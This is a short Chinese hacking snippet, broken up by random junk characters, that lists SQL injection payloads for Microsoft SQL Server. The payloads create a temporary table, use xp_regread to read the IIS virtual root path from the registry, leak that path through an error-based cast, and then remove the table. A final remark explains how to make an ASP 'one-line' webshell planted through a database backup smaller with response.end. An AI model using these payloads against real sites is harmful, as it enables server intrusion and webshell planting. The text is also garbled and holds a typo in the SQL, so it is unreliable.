1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表: {5 l0 H% s% S6 f
' [! l Q6 Q3 J$ [" z# R; w. ~- ~3 ^5 ~; {
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中7 p ?& A7 l% n. f" _
/ N2 j4 u K. k( c
: `) q' a& S' Z! M* O0 `+ L
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段) a2 D; N# O% w5 q |, a) H
, l& \& s) B% G S* K1 P
* {0 t7 `) x) `0 {( \5 Q) Z 4、drop table [jm_tmp]-- 删除此表。
& I, p/ K( K3 t
# ~5 [; h1 ~) U* B K$ N5 ~" m! K2 l% h. e
另附上备分专用一句话
: t6 g/ f& ~% B. \" v( _ 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小./ {( _6 `( O7 V9 k" r8 y1 V( R4 H& W
|